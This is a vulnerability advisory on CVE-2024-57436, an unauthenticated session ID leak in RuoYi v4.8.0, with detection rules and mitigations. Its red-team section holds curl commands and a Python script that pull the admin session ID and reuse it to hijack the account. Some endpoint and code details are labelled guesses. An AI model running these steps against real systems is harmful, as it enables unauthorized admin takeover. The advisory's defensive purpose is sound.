CVE-2024-57436

Executive Summary

CVE-2024-57436 exposes a critical information disclosure vulnerability in RuoYi v4.8.0, a popular open-source Java-based rapid development framework. The flaw allows an unauthenticated, remote attacker to view the session ID of the admin user via the system monitoring interface. By capturing this session ID, an attacker can craft a malicious cookie to impersonate the admin user, gaining full administrative access to the application. This vulnerability is particularly dangerous because it requires no authentication and can be exploited over the network. The vendor has not yet released a patch, making this a high-priority risk for all deployments of RuoYi v4.8.0.

Supply Chain & Package Security

RuoYi is a Java-based framework distributed via Maven Central and GitHub. The vulnerable component is part of the core application code, not a third-party library. However, organizations using RuoYi as a dependency in their own projects should treat this as a supply chain risk. The lack of an official patch means that downstream consumers must implement their own mitigations or fork the project to apply a fix.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Adjusted Score: 7.5 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Session IDs are exposed.
• Integrity (I): None – Direct integrity impact is not scored, but session hijacking leads to full integrity compromise.
• Availability (A): None – No direct availability impact.

Threat Level: High. The ease of exploitation and the potential for full admin takeover make this a critical risk despite the low NVD score.

Deep Dive & Mechanics

The vulnerability resides in the system monitoring functionality of RuoYi v4.8.0. The /monitor/online endpoint (or similar) exposes a list of active user sessions, including the session ID of the admin user. This endpoint is intended for administrative monitoring but is accessible without proper authentication checks.

Root Cause: The controller handling the monitoring endpoint does not enforce authentication or authorization. An attacker can directly access the endpoint and retrieve the session ID in plaintext.

Exploitation Flow:

1. Attacker sends a GET request to /monitor/online (or the relevant endpoint).
2. The server responds with a JSON or HTML list of active sessions, including the admin's session ID.
3. Attacker extracts the session ID (e.g., JSESSIONID=...).
4. Attacker sets this session ID as a cookie in their browser or HTTP client.
5. The server now treats the attacker as the authenticated admin user.

Impact: Full administrative control over the RuoYi application, including access to user management, configuration, and data.

Vulnerable vs. Patched Code

Vulnerable Code (RuoYi v4.8.0):

// In OnlineController.java (or similar)
@GetMapping("/online")
public String online() {
    // No authentication check
    List<OnlineSession> sessions = sessionService.getActiveSessions();
    return JSON.toJSONString(sessions);
}

Patched Code (Hypothetical):

// In OnlineController.java
@GetMapping("/online")
@RequiresPermissions("monitor:online:list") // Requires admin permission
public String online() {
    List<OnlineSession> sessions = sessionService.getActiveSessions();
    return JSON.toJSONString(sessions);
}

Explanation: The patched version adds a permission check (@RequiresPermissions) to ensure only authenticated admin users can access the endpoint. Without this, the endpoint is publicly accessible.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running instance of RuoYi v4.8.0.
• Network access to the target.

Step 1: Identify the vulnerable endpoint.

curl -v http://target.com/monitor/online

Step 2: Extract the admin session ID.

curl -s http://target.com/monitor/online | grep -oP '"sessionId":"[^"]+"' | head -1

Step 3: Use the session ID to impersonate admin.

curl -v --cookie "JSESSIONID=EXTRACTED_SESSION_ID" http://target.com/system/user/list

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()

# Step 1: Get admin session ID
resp = session.get(f"{target}/monitor/online")
admin_session = resp.json()[0]["sessionId"]  # Assuming first entry is admin

# Step 2: Use the session ID
session.cookies.set("JSESSIONID", admin_session)
resp = session.get(f"{target}/system/user/list")
print(resp.text)  # Should show admin-level data

Blue Team (Defense & Detection)

Detection:

• Monitor for requests to /monitor/online from unauthenticated IPs.
• Alert on multiple failed login attempts followed by a successful session reuse.
• Use WAF rules to block access to /monitor/online except from admin IPs.

Honeypot:

• Deploy a fake /monitor/online endpoint that logs attacker IPs and session IDs.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /monitor/online from external IPs.
• Unusual session IDs in cookies that match known admin sessions.
• Rapid succession of requests to /monitor/online followed by admin-level actions.

File IOCs:

• Log entries showing access to /monitor/online without prior authentication.
• Session logs showing the same session ID used from different IPs.

Sample IOC Log Entry:

192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /monitor/online HTTP/1.1" 200 1234
192.168.1.100 - - [01/Jan/2025:12:00:01 +0000] "GET /system/user/list HTTP/1.1" 200 5678

Detection Engineering

YARA Rule

rule CVE_2024_57436_RuoYi_Session_Leak {
    meta:
        description = "Detects RuoYi session ID leak in HTTP responses"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-57436"
    strings:
        $session_id = /"sessionId":"[a-f0-9-]+"/ nocase
        $admin_pattern = /"loginName":"admin"/ nocase
    condition:
        $session_id and $admin_pattern
}

Sigma Rule

title: RuoYi Admin Session ID Leak
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthorized access to RuoYi monitoring endpoint
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/monitor/online'
    condition: selection
falsepositives:
    - Legitimate admin access from trusted IPs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57436 RuoYi Session ID Leak Attempt"; flow:to_server; content:"GET"; http_method; content:"/monitor/online"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Use a reverse proxy (Nginx/Apache) to block external access to /monitor/online.

   location /monitor/online {
       allow 10.0.0.0/8;
       deny all;
   }
   

2. Apply WAF Rules: Block requests to /monitor/online from non-admin IPs.
3. Monitor Logs: Check for unauthorized access to the endpoint.

Long-Term Fix:

• Since no official patch exists, manually add authentication checks to the vulnerable controller (see patched code example).
• Upgrade to a patched version when available.
• Implement session rotation and short session timeouts.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valtersit.com.